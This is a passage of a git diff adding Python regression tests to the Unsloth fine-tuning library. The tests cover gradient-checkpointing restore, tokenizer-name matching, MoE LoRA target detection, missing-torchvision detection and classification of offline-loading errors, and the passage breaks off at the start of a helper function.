+        "num_logits_to_keep variant   -> reject",
+        PrepNoKwargs_ForwardHasKey(),
+        "num_logits_to_keep",
+        False,
+    ),
+    (
+        "mm_token_type_ids not accepted -> reject (strip)",
+        VisionRejectsMM(),
+        "mm_token_type_ids",
+        False,
+    ),
+    ("mm_token_type_ids accepted     -> keep", VisionAcceptsMM(), "mm_token_type_ids", True),
+]
+
+
+def test_generate_kwarg_gate():
+    for name, model, key, expected in CASES:
+        got = accepts(model, key)
+        assert got is expected, f"{name}: got {got}, expected {expected}"
+
+
+if __name__ == "__main__":
+    test_generate_kwarg_gate()
+    for name, _, _, _ in CASES:
+        print(f"  [PASS] {name}")
+    print("OK: generate-kwarg gate behaves like transformers _validate_model_kwargs")
diff --git a/tests/test_gradient_checkpointing_restore.py b/tests/test_gradient_checkpointing_restore.py
new file mode 100644
index 0000000000..4f9f3faccc
--- /dev/null
+++ b/tests/test_gradient_checkpointing_restore.py
@@ -0,0 +1,185 @@
+# Unsloth - 2x faster, 60% less VRAM LLM training and finetuning
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Lesser General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Lesser General Public License for more details.
+
+"""Regression for #4735: a plain ``TrainingArguments`` silently disabling the
+gradient-checkpointing (GC) mode the model was configured with at setup.
+
+Setup records the effective GC mode as ``_unsloth_gradient_checkpointing``; the
+trainer restores *that* value, falling back to ``args.gradient_checkpointing``
+only when nothing was recorded. The restore lines live inside exec'd template
+strings, which ``py_compile`` never sees, so these tests pull the real snippets
+out of the source and execute them against fakes. GPU-free.
+"""
+
+from __future__ import annotations
+
+import ast
+import re
+from pathlib import Path
+
+_ROOT = Path(__file__).resolve().parent.parent / "unsloth" / "models"
+_RL = (_ROOT / "rl.py").read_text()
+_RL_REPLACEMENTS = (_ROOT / "rl_replacements.py").read_text()
+
+# The single-line ternary form used at the trainer call sites:
+#   <obj>._unsloth_gradient_checkpointing if hasattr(<obj>, '...') else getattr(<args>, 'gradient_checkpointing', True)
+_TERNARY = re.compile(
+    r"(?P<model>[\w.]+)\._unsloth_gradient_checkpointing "
+    r"if hasattr\((?P=model), '_unsloth_gradient_checkpointing'\) "
+    r"else getattr\((?P<args>[\w.]+), 'gradient_checkpointing', True\)"
+)
+
+_MISSING = object()
+
+
+class _Obj:
+    """Bare attribute bag; ``_unsloth_gradient_checkpointing`` present only when recorded."""
+
+    def __init__(
+        self,
+        recorded = _MISSING,
+        gradient_checkpointing = _MISSING,
+    ):
+        if recorded is not _MISSING:
+            self._unsloth_gradient_checkpointing = recorded
+        if gradient_checkpointing is not _MISSING:
+            self.gradient_checkpointing = gradient_checkpointing
+
+
+class _Self:
+    def __init__(
+        self,
+        model = None,
+        args = None,
+    ):
+        if model is not None:
+            self.model = model
+        self.args = args
+
+
+# (recorded on model, args.gradient_checkpointing, expected restored value)
+# The point of the fix: a recorded mode wins over args, and a recorded ``None``
+# (a valid setup value) is restored verbatim rather than collapsing to the
+# args fallback the way a ``None`` sentinel would.
+_MATRIX = [
+    ("unsloth", False, "unsloth"),  # the #4735 case: args=False must NOT win
+    (True, False, True),
+    (False, True, False),  # user turned GC off; args=True must NOT re-enable it
+    (None, True, None),  # explicit None is restored, not treated as "unrecorded"
+    (_MISSING, True, True),  # nothing recorded -> fall back to args
+    (_MISSING, False, False),
+]
+
+
+def _eval_ternary(expr, recorded, args_gc):
+    """Eval a restore expression that references either ``model``/``args`` or ``self.model``/``self.args``."""
+    model = _Obj(recorded = recorded)
+    args = _Obj(gradient_checkpointing = args_gc)
+    self = _Self(model = model, args = args)
+    return eval(
+        expr, {"hasattr": hasattr, "getattr": getattr}, {"model": model, "args": args, "self": self}
+    )
+
+
+def test_ternary_restore_semantics():
+    exprs = [m.group(0) for m in _TERNARY.finditer(_RL)]
+    exprs += [m.group(0) for m in _TERNARY.finditer(_RL_REPLACEMENTS)]
+    # Also guards against the lines being deleted/renamed (which reinstates the bug).
+    assert len(exprs) >= 3, f"expected the 3 trainer-call restore sites, found {len(exprs)}"
+    for expr in exprs:
+        for recorded, args_gc, expected in _MATRIX:
+            got = _eval_ternary(expr, recorded, args_gc)
+            assert got == expected and type(got) is type(
+                expected
+            ), f"{expr!r}: recorded={recorded!r} args={args_gc!r} -> {got!r}, expected {expected!r}"
+
+
+def _extract_prepare_restore_block():
+    """Pull the multi-line restore block out of ``prepare_for_training_mode``'s wrapper.
+
+    It lives inside an exec'd template string, so grab it textually: from the
+    ``_model = getattr(self, 'model', None)`` line through the closing
+    ``else:``/``use_gc = ...`` pair.
+    """
+    lines = _RL.splitlines()
+    start = next(
+        i for i, l in enumerate(lines) if l.strip() == "_model = getattr(self, 'model', None)"
+    )
+    # End at the fallback assignment rather than a fixed line count, so inserting
+    # lines into the block can't silently truncate what gets exec'd.
+    end = next(
+        i
+        for i, l in enumerate(lines)
+        if i > start and "use_gc = getattr(self.args, 'gradient_checkpointing', True)" in l
+    )
+    block = lines[start : end + 1]
+    # dedent to column 0 so it execs as a top-level block
+    indent = len(block[0]) - len(block[0].lstrip())
+    return "\n".join(l[indent:] for l in block)
+
+
+def test_prepare_for_training_mode_block_semantics():
+    block = _extract_prepare_restore_block()
+    # Must be valid Python (it's never seen by py_compile in the outer file).
+    ast.parse(block)
+
+    for recorded, args_gc, expected in _MATRIX:
+        model = _Obj(recorded = recorded)
+        args = _Obj(gradient_checkpointing = args_gc)
+        ns = {"self": _Self(model = model, args = args), "hasattr": hasattr, "getattr": getattr}
+        exec(block, {}, ns)
+        got = ns["use_gc"]
+        assert (
+            got == expected and type(got) is type(expected)
+        ), f"prepare block: recorded={recorded!r} args={args_gc!r} -> {got!r}, expected {expected!r}"
+
+
+def test_prepare_block_tolerates_missing_model():
+    # gemini flagged the unguarded self.model access: the block reads self.model via
+    # getattr(self, 'model', None), so a trainer without a .model attribute must fall
+    # back to args rather than raising AttributeError.
+    block = _extract_prepare_restore_block()
+    args = _Obj(gradient_checkpointing = True)
+    self_no_model = _Self(model = None, args = args)  # _Self leaves .model unset when model is None
+    assert not hasattr(self_no_model, "model")
+    ns = {"self": self_no_model, "hasattr": hasattr, "getattr": getattr}
+    exec(block, {}, ns)
+    assert ns["use_gc"] is True
+
+
+def test_recording_sites_are_real_module_code():
+    # The recording side (unlike the restore side) is real module code, not a template
+    # string. Assert it's present at the choke point (patch_peft_model, so loaded adapters
+    # are covered) and at the pre-wrapped pass-through, both of which bypass the old
+    # get_peft_model-only recording.
+    llama = (_ROOT / "llama.py").read_text()
+    tree = ast.parse(llama)
+
+    def assigns_marker(node):
+        return any(
+            isinstance(n, ast.Assign)
+            and any(
+                isinstance(t, ast.Attribute) and t.attr == "_unsloth_gradient_checkpointing"
+                for t in n.targets
+            )
+            for n in ast.walk(node)
+        )
+
+    fns = {n.name: n for n in ast.walk(tree) if isinstance(n, ast.FunctionDef)}
+    assert "patch_peft_model" in fns and assigns_marker(
+        fns["patch_peft_model"]
+    ), "patch_peft_model must record _unsloth_gradient_checkpointing so loaded adapters are covered"
+    # The pass-through branch lives in get_peft_model.
+    assert assigns_marker(
+        fns["get_peft_model"]
+    ), "get_peft_model pass-through must record _unsloth_gradient_checkpointing"
diff --git a/tests/test_ignored_tokenizer_casing.py b/tests/test_ignored_tokenizer_casing.py
new file mode 100644
index 0000000000..aeeea981fc
--- /dev/null
+++ b/tests/test_ignored_tokenizer_casing.py
@@ -0,0 +1,60 @@
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""Regression test: the IGNORED_TOKENIZER_NAMES guard must match case-insensitively."""
+
+import types
+from unittest.mock import patch
+
+import unsloth.tokenizer_utils as tu
+
+
+class _Tok:
+    def __init__(self, kind):
+        self.kind = kind
+
+
+def _fake_auto_tokenizer():
+    # _load_correct_tokenizer loads a slow tokenizer (from_slow = True) and a fast one;
+    # return distinguishable stand-ins so we can see which one is returned.
+    def from_pretrained(name, **kwargs):
+        return _Tok("slow" if kwargs.get("from_slow") else "fast")
+
+    return types.SimpleNamespace(from_pretrained = from_pretrained)
+
+
+def test_ignored_tokenizer_name_matched_case_insensitively():
+    # IGNORED_TOKENIZER_NAMES is stored fully lowercased, but users pass canonical
+    # mixed-case ids. The names in this list (e.g. the Qwen2.5-Coder tokenizers) must be
+    # returned untouched; before the fix the mixed-case name never matched, so it fell
+    # through into the slow/fast reconciliation + conversion path.
+    name = "unsloth/Qwen2.5-Coder-7B-Instruct"  # name.lower() is in IGNORED_TOKENIZER_NAMES
+    assert name.lower() in tu.IGNORED_TOKENIZER_NAMES  # guard the test's own premise
+
+    with (
+        patch.object(tu, "AutoTokenizer", _fake_auto_tokenizer()),
+        patch.object(tu, "assert_same_tokenization", lambda a, b: False),
+        patch.object(tu, "convert_to_fast_tokenizer", lambda slow, **k: _Tok("converted")),
+    ):
+        result = tu._load_correct_tokenizer(name, fix_tokenizer = True)
+
+    assert result.kind == "fast", (
+        "an ignored tokenizer (matched case-insensitively) must be returned unchanged, "
+        f"but it fell through to conversion (got {result.kind!r})"
+    )
+
+
+if __name__ == "__main__":
+    test_ignored_tokenizer_name_matched_case_insensitively()
+    print("ok")
diff --git a/tests/test_import_fixes_drift.py b/tests/test_import_fixes_drift.py
index 68c20fbe53..0bee68f940 100644
--- a/tests/test_import_fixes_drift.py
+++ b/tests/test_import_fixes_drift.py
@@ -23,6 +23,7 @@ import inspect
 import os
 import re
 import sys
+from pathlib import Path
 from importlib.metadata import version as importlib_version
 
 import pytest
@@ -593,6 +594,7 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():
     orig_debug = state.debug
     orig_dist_type = state.distributed_type
     orig_num_processes = state.num_processes
+    orig_device = state.device
 
     state.debug = True
     state.distributed_type = DistributedType.MULTI_GPU
@@ -624,6 +626,8 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():
                 side_effect = mock_gpu_broadcast,
             ),
         ):
+            state.device = torch.device("cpu")
+
             # Top-level EmptyLogits gathers to itself
             res = acc_ops.gather(e)
             assert res is e
@@ -656,6 +660,7 @@ def test_accelerate_gather_empty_logits_debug_mode_patch():
         state.debug = orig_debug
         state.distributed_type = orig_dist_type
         state.num_processes = orig_num_processes
+        state.device = orig_device
 
 
 def test_accelerate_patch_is_idempotent():
@@ -698,10 +703,8 @@ def test_accelerate_find_device_skips_empty_logits():
 
 def test_accelerate_patch_wired_into_gpu_init():
     """The patch must be installed at startup, not only importable."""
-    import pathlib
-    import unsloth.import_fixes as import_fixes
-
-    source = pathlib.Path(import_fixes.__file__).with_name("_gpu_init.py").read_text()
+    source = Path(__file__).resolve().parent.parent / "unsloth" / "_gpu_init.py"
+    source = source.read_text()
     assert "patch_accelerate_recursively_apply()" in source, (
         "DRIFT DETECTED: patch_accelerate_recursively_apply is defined but "
         "never called in _gpu_init.py, so real imports never install it."
diff --git a/tests/test_missing_torchvision_vlm.py b/tests/test_missing_torchvision_vlm.py
new file mode 100644
index 0000000000..5bc72a21da
--- /dev/null
+++ b/tests/test_missing_torchvision_vlm.py
@@ -0,0 +1,30 @@
+"""Regression test for unsloth#4202: detect missing torchvision so the loader can
+surface the real cause instead of a misleading collator error."""
+
+import importlib.util
+from unittest import mock
+
+from unsloth.models.vision import _missing_torchvision_error
+
+
+def test_error_text_mentions_torchvision_is_detected():
+    err = ImportError("Qwen3VLVideoProcessor requires the Torchvision library but ...")
+    assert _missing_torchvision_error(err) is True
+
+
+def test_torchvision_missing_is_detected_without_error():
+    with mock.patch.object(importlib.util, "find_spec", return_value = None):
+        assert _missing_torchvision_error(None) is True
+
+
+def test_torchvision_present_unrelated_error_is_not_flagged():
+    sentinel = object()
+    with mock.patch.object(importlib.util, "find_spec", return_value = sentinel):
+        assert _missing_torchvision_error(ValueError("unrelated")) is False
+        assert _missing_torchvision_error(None) is False
+
+
+def test_matches_real_environment():
+    # find_spec is the source of truth when no error is supplied.
+    expected = importlib.util.find_spec("torchvision") is None
+    assert _missing_torchvision_error(None) is expected
diff --git a/tests/test_moe_lora_targets.py b/tests/test_moe_lora_targets.py
index 994d39f261..7f9b9a0485 100644
--- a/tests/test_moe_lora_targets.py
+++ b/tests/test_moe_lora_targets.py
@@ -49,3 +49,190 @@ def test_explicit_dotted_module_target_does_not_discover_moe_parameters():
         )
         is None
     )
+
+
+@pytest.mark.parametrize(
+    "target_modules",
+    [
+        # Attention-only auto-regex lists every projection leaf (incl. gate/up/down)
+        # but its path segment is attention-only, so experts must NOT be targeted.
+        r"(?:\bmodel\.layers\.[\d]{1,}\.(?:self_attn|attention|attn|mixer)\.(?:q_proj|k_proj|v_proj|o_proj|gate_proj|up_proj|down_proj))",
+        ".*self_attn.*proj",
+        # An mlp path alternative with attention-only leaves is still attention-only.
+        r"model\.layers\.\d+\.(?:mlp|self_attn)\.(?:q_proj|k_proj|v_proj|o_proj)",
+    ],
+)
+def test_attention_only_regex_does_not_discover_moe_parameters(target_modules):
+    from unsloth.models._utils import get_moe_target_parameters
+    assert get_moe_target_parameters(_FakeMoeModel(), target_modules) is None
+
+
+def test_single_leaf_regex_targets_only_that_projection():
+    from unsloth.models._utils import get_moe_target_parameters
+    assert get_moe_target_parameters(_FakeMoeModel(), ".*experts.*down_proj") == [
+        "mlp.experts.down_proj",
+    ]
+    assert get_moe_target_parameters(_FakeMoeModel(), ".*mlp.*gate_proj") == [
+        "mlp.experts.gate_up_proj",
+    ]
+
+
+def test_auto_regex_mlp_tag_block_discovers_moe_on_fused_models():
+    # get_peft_regex on a fused-expert model lists only attention Linears as
+    # leaves; the mlp tag block is the remaining signal of MLP finetune intent.
+    from unsloth.models._utils import get_moe_target_parameters
+    both_auto = (
+        r"(?:\bmodel\.layers\.[\d]{1,}\."
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense|mixer)\."
+        r"(?:(?:q_proj|k_proj|v_proj|o_proj)))"
+    )
+    assert get_moe_target_parameters(_FakeMoeModel(), both_auto) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_explicit_attention_only_list_does_not_discover_moe_parameters():
+    # An explicit attention-only leaf list names no MLP projection, so experts
+    # must never be targeted. get_peft_model routes this ORIGINAL list (not the
+    # scoped regex) into detection precisely because family scoping makes
+    # get_peft_regex emit its full "mlp|feed_forward|ffn|dense" component block
+    # even for an attention-only request (see the regex below), which the
+    # string fallback cannot distinguish from the fused-expert auto regex.
+    from unsloth.models._utils import get_moe_target_parameters
+
+    attn_only_list = ["q_proj", "k_proj", "v_proj", "o_proj"]
+    assert get_moe_target_parameters(_FakeMoeModel(), attn_only_list) is None
+    assert get_moe_target_parameters(_FakeMoeModel(), tuple(attn_only_list)) is None
+
+    # The regex get_peft_regex emits for that same attention-only list under a
+    # vision-off family scope carries the mlp component block, so the string
+    # path would wrongly enable experts -- hence detection must use the list.
+    scoped_regex = (
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    assert get_moe_target_parameters(_FakeMoeModel(), scoped_regex) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_frozen_mlp_full_list_does_not_discover_moe_parameters():
+    # Regression: an explicit list that names MLP leaves together with
+    # finetune_mlp_modules=False must NOT train experts. get_peft_regex scopes
+    # the MLP leaves out (its emitted regex carries no mlp tag block), so
+    # detection has to key on that SCOPED regex -- keying on the original list
+    # would let its gate/up/down leaves silently re-enable the frozen experts.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = [
+        "q_proj",
+        "k_proj",
+        "v_proj",
+        "o_proj",
+        "gate_proj",
+        "up_proj",
+        "down_proj",
+    ]
+    # Representative of what get_peft_regex emits for that list under
+    # finetune_mlp_modules=False: attention-only path, no mlp component block.
+    scoped_regex = (
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = False,
+        finetune_language_layers = True,
+    )
+    assert selected is scoped_regex
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
+
+
+def test_frozen_language_full_list_does_not_discover_moe_parameters():
+    # Vision-only request (finetune_language_layers=False) with a full leaf list
+    # must not reach the language-model experts either.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = ["q_proj", "gate_proj", "up_proj", "down_proj"]
+    scoped_regex = (
+        r"(?:.*?(?:vision|visual|image).*?"
+        r"(?:self_attn|attention|attn|mixer).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = False,
+    )
+    assert selected is scoped_regex
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
+
+
+def test_in_scope_mlp_full_list_still_discovers_moe_parameters():
+    # With MLP and language both in scope, an explicit list that names MLP
+    # leaves SHOULD enable the experts (unchanged behavior): the original list
+    # is preferred and carries the gate/up/down intent.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    original_list = [
+        "q_proj",
+        "k_proj",
+        "v_proj",
+        "o_proj",
+        "gate_proj",
+        "up_proj",
+        "down_proj",
+    ]
+    scoped_regex = r".*self_attn.*proj"  # unused: original list is preferred
+    selected = _select_moe_detection_targets(
+        original_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = True,
+    )
+    assert selected is original_list
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) == [
+        "mlp.experts.gate_up_proj",
+        "mlp.experts.down_proj",
+    ]
+
+
+def test_attention_only_list_prefers_original_when_in_scope():
+    # The case the PR originally fixed: an attention-only list routed through
+    # get_peft_regex under a family scope (e.g. vision-off) still keeps experts
+    # off, because with MLP+language in scope detection uses the original
+    # attention-only list rather than the regex's spurious mlp component block.
+    from unsloth.models._utils import (
+        _select_moe_detection_targets,
+        get_moe_target_parameters,
+    )
+
+    attn_only_list = ["q_proj", "k_proj", "v_proj", "o_proj"]
+    scoped_regex = (  # carries the spurious mlp block get_peft_regex always adds
+        r"(?:.*?(?:language|text).*?"
+        r"(?:self_attn|attention|attn|mixer|mlp|feed_forward|ffn|dense).*?"
+        r"(?:q_proj|k_proj|v_proj|o_proj))"
+    )
+    selected = _select_moe_detection_targets(
+        attn_only_list,
+        scoped_regex,
+        finetune_mlp_modules = True,
+        finetune_language_layers = True,
+    )
+    assert selected is attn_only_list
+    assert get_moe_target_parameters(_FakeMoeModel(), selected) is None
diff --git a/tests/test_offline_loading_helpers.py b/tests/test_offline_loading_helpers.py
new file mode 100644
index 0000000000..b7176dbff4
--- /dev/null
+++ b/tests/test_offline_loading_helpers.py
@@ -0,0 +1,539 @@
+"""Unit tests for the offline-loading helpers in unsloth/models/loader_utils.py:
+error classification, _force_hf_offline flip/restore, and the retry orchestrator.
+Pure CPU, no network, no GPU."""
+
+import os
+import socket
+
+import pytest
+
+from unsloth.models import loader_utils as L
+
+
+# ---------------------------------------------------------------------------
+# _env_says_offline / _get_effective_local_files_only
+# ---------------------------------------------------------------------------
+
+_OFFLINE_TRUE = ("1", "true", "yes", "on", "ON", " 1 ", "\tyes\n")
+_OFFLINE_FALSE = ("0", "no", "false", "off", "", "  ", "maybe")
+
+
+@pytest.mark.parametrize("value", _OFFLINE_TRUE)
+def test_env_says_offline_truthy(monkeypatch, value):
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    monkeypatch.setenv("HF_HUB_OFFLINE", value)
+    assert L._env_says_offline() is True
+
+
+@pytest.mark.parametrize("value", _OFFLINE_FALSE)
+def test_env_says_offline_falsy(monkeypatch, value):
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    monkeypatch.setenv("HF_HUB_OFFLINE", value)
+    assert L._env_says_offline() is False
+
+
+def test_env_says_offline_absent(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    assert L._env_says_offline() is False
+
+
+def test_env_says_offline_transformers_var(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.setenv("TRANSFORMERS_OFFLINE", "1")
+    assert L._env_says_offline() is True
+
+
+def test_effective_lfo_kwarg_wins(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    assert L._get_effective_local_files_only({"local_files_only": True}) is True
+
+
+def test_effective_lfo_env_only(monkeypatch):
+    monkeypatch.setenv("HF_HUB_OFFLINE", "1")
+    assert L._get_effective_local_files_only({}) is True
+
+
+def test_effective_lfo_neither(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    assert L._get_effective_local_files_only({"local_files_only": False}) is False
+
+
+def test_effective_lfo_is_read_only():
+    # Must not pop local_files_only: the weight load reuses the same kwarg.
+    kwargs = {"local_files_only": True}
+    L._get_effective_local_files_only(kwargs)
+    assert kwargs == {"local_files_only": True}
+
+
+# ---------------------------------------------------------------------------
+# _is_offline_related_error
+# ---------------------------------------------------------------------------
+
+
+def _http_error(status):
+    import requests
+
+    resp = requests.Response()
+    resp.status_code = status
+    return requests.exceptions.HTTPError("http %s" % status, response = resp)
+
+
+def test_none_is_not_offline():
+    assert L._is_offline_related_error(None) is False
+
+
+def test_plain_connection_error_is_offline():
+    assert L._is_offline_related_error(ConnectionError("down")) is True
+
+
+def test_timeout_error_is_offline():
+    assert L._is_offline_related_error(TimeoutError("slow")) is True
+
+
+def test_plain_file_not_found_propagates():
+    assert L._is_offline_related_error(FileNotFoundError("config.json")) is False
+
+
+def test_unrelated_error_is_not_offline():
+    assert L._is_offline_related_error(ValueError("bad arg")) is False
+
+
+def test_requests_connection_error_is_offline():
+    import requests
+    assert L._is_offline_related_error(requests.exceptions.ConnectionError("x")) is True
+
+
+@pytest.mark.parametrize("status", (500, 502, 503, 504))
+def test_http_5xx_is_offline(status):
+    assert L._is_offline_related_error(_http_error(status)) is True
+
+
+@pytest.mark.parametrize("status", (400, 401, 403, 404))
+def test_http_4xx_propagates(status):
+    assert L._is_offline_related_error(_http_error(status)) is False
+
+
+def test_status_less_http_with_network_wording_is_offline():
+    import requests
+    err = requests.exceptions.HTTPError("Couldn't connect to the server")
+    assert L._is_offline_related_error(err) is True
+
+
+def test_status_less_http_without_network_wording_propagates():
+    import requests
+    err = requests.exceptions.HTTPError("I'm a teapot")
+    assert L._is_offline_related_error(err) is False
+
+
+def test_gaierror_dns_failure_is_offline():
+    assert L._is_offline_related_error(socket.gaierror(-2, "Name or service not known")) is True
+
+
+def test_gaierror_without_wording_is_offline_by_type():
+    # Matched by type, so a locale-specific / empty message still classifies offline.
+    assert L._is_offline_related_error(socket.gaierror(-2, "")) is True
+
+
+def test_urllib_urlerror_is_offline():
+    import urllib.error
+    assert L._is_offline_related_error(urllib.error.URLError("connection failed")) is True
+
+
+def test_urllib_httperror_404_propagates():
+    import urllib.error
+    err = urllib.error.HTTPError("http://x", 404, "Not Found", {}, None)
+    assert L._is_offline_related_error(err) is False
+
+
+def test_urllib_httperror_503_is_offline():
+    import urllib.error
+    err = urllib.error.HTTPError("http://x", 503, "Service Unavailable", {}, None)
+    assert L._is_offline_related_error(err) is True
+
+
+def test_ssl_error_is_not_offline():
+    # TLS/cert failure must surface, not silently fall back to cached files.
+    import ssl
+    assert L._is_offline_related_error(ssl.SSLError("certificate verify failed")) is False
+
+
+def test_requests_ssl_error_is_not_offline():
+    # requests.SSLError subclasses ConnectionError, but is still a TLS failure -> not offline.
+    requests = pytest.importorskip("requests")
+    assert L._is_offline_related_error(requests.exceptions.SSLError("bad cert")) is False
+
+
+def test_urlerror_wrapping_ssl_is_not_offline():
+    import ssl
+    import urllib.error
+
+    err = urllib.error.URLError(ssl.SSLCertVerificationError("self-signed certificate"))
+    assert L._is_offline_related_error(err) is False
+
+
+def test_ssl_node_does_not_hide_deeper_connection_cause():
+    # Skipping a TLS node must not abort the walk: a genuine outage deeper still counts.
+    import ssl
+
+    outer = RuntimeError("load failed")
+    mid = ssl.SSLError("cert")
+    mid.__context__ = ConnectionError("down")
+    outer.__cause__ = mid
+    assert L._is_offline_related_error(outer) is True
+
+
+def test_oserror_network_unreachable_is_offline():
+    assert L._is_offline_related_error(OSError("Network is unreachable")) is True
+
+
+def test_offline_mode_is_enabled_is_offline():
+    errors = pytest.importorskip("huggingface_hub.errors")
+    assert L._is_offline_related_error(errors.OfflineModeIsEnabled("offline")) is True
+
+
+def test_local_entry_not_found_is_offline():
+    # Both a FileNotFoundError and an HfHubHTTPError, but means "not cached + Hub down" -> offline.
+    errors = pytest.importorskip("huggingface_hub.errors")
+    assert L._is_offline_related_error(errors.LocalEntryNotFoundError("missing")) is True
+
+
+def test_chained_cause_connection_error_is_offline():
+    err = RuntimeError("combined load failure")
+    err.__cause__ = ConnectionError("down")
+    assert L._is_offline_related_error(err) is True
+
+
+def test_chained_context_connection_error_is_offline():
+    try:
+        try:
+            raise ConnectionError("down")
+        except ConnectionError:
+            raise RuntimeError("wrap")
+    except RuntimeError as e:
+        err = e
+    assert L._is_offline_related_error(err) is True
+
+
+def test_chained_cause_404_still_propagates():
+    err = RuntimeError("combined load failure")
+    err.__cause__ = _http_error(404)
+    assert L._is_offline_related_error(err) is False
+
+
+def test_cause_context_cycle_terminates():
+    a = RuntimeError("a")
+    b = RuntimeError("b")
+    a.__context__ = b
+    b.__context__ = a
+    # Must not hang; neither is network-related.
+    assert L._is_offline_related_error(a) is False
+
+
+# ---------------------------------------------------------------------------
+# _force_hf_offline
+# ---------------------------------------------------------------------------
+
+
+def _inprocess_offline_flags():
+    flags = []
+    try:
+        import huggingface_hub.constants as hfc
+        if hasattr(hfc, "HF_HUB_OFFLINE"):
+            flags.append(hfc.HF_HUB_OFFLINE)
+    except Exception:
+        pass
+    try:
+        import transformers.utils.hub as tuh
+        for attr in ("_is_offline_mode", "OFFLINE"):
+            if hasattr(tuh, attr):
+                flags.append(getattr(tuh, attr))
+    except Exception:
+        pass
+    return flags
+
+
+def test_force_offline_sets_and_restores_absent_env(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    with L._force_hf_offline():
+        assert os.environ.get("HF_HUB_OFFLINE") == "1"
+        assert os.environ.get("TRANSFORMERS_OFFLINE") == "1"
+    # Absent before -> absent after (not left as "1").
+    assert os.environ.get("HF_HUB_OFFLINE") is None
+    assert os.environ.get("TRANSFORMERS_OFFLINE") is None
+
+
+def test_force_offline_preserves_prior_env_value(monkeypatch):
+    monkeypatch.setenv("HF_HUB_OFFLINE", "0")
+    with L._force_hf_offline():
+        assert os.environ.get("HF_HUB_OFFLINE") == "1"
+    assert os.environ.get("HF_HUB_OFFLINE") == "0"
+
+
+def test_force_offline_flips_inprocess_constants():
+    before = _inprocess_offline_flags()
+    with L._force_hf_offline():
+        during = _inprocess_offline_flags()
+        assert during, "expected at least one in-process offline flag to inspect"
+        assert all(flag is True for flag in during)
+    assert _inprocess_offline_flags() == before
+
+
+def test_force_offline_nesting_shares_one_flip(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    with L._force_hf_offline():
+        with L._force_hf_offline():
+            assert os.environ.get("HF_HUB_OFFLINE") == "1"
+        # Inner exit must NOT restore while the outer window is still open.
+        assert os.environ.get("HF_HUB_OFFLINE") == "1"
+    assert os.environ.get("HF_HUB_OFFLINE") is None
+
+
+def test_force_offline_restores_on_exception(monkeypatch):
+    monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
+    monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
+    with pytest.raises(RuntimeError):
+        with L._force_hf_offline():
+            assert os.environ.get("HF_HUB_OFFLINE") == "1"
+            raise RuntimeError("boom")
+    assert os.environ.get("HF_HUB_OFFLINE") is None
+    assert os.environ.get("TRANSFORMERS_OFFLINE") is None
+
+
+def test_force_offline_depth_returns_to_zero():
+    assert L._force_offline_depth == 0
+    with L._force_hf_offline():
+        assert L._force_offline_depth == 1
+    assert L._force_offline_depth == 0
+
+
+def test_reset_hf_sessions_is_safe():
+    # Best-effort no-op when the hub helper is missing; must never raise.
+    L._reset_hf_sessions()
+
+
+# ---------------------------------------------------------------------------
+# _has_local_tokenizer_files / _resolve_checkpoint_tokenizer_name
+# ---------------------------------------------------------------------------
+
+
+def _touch(path, name):
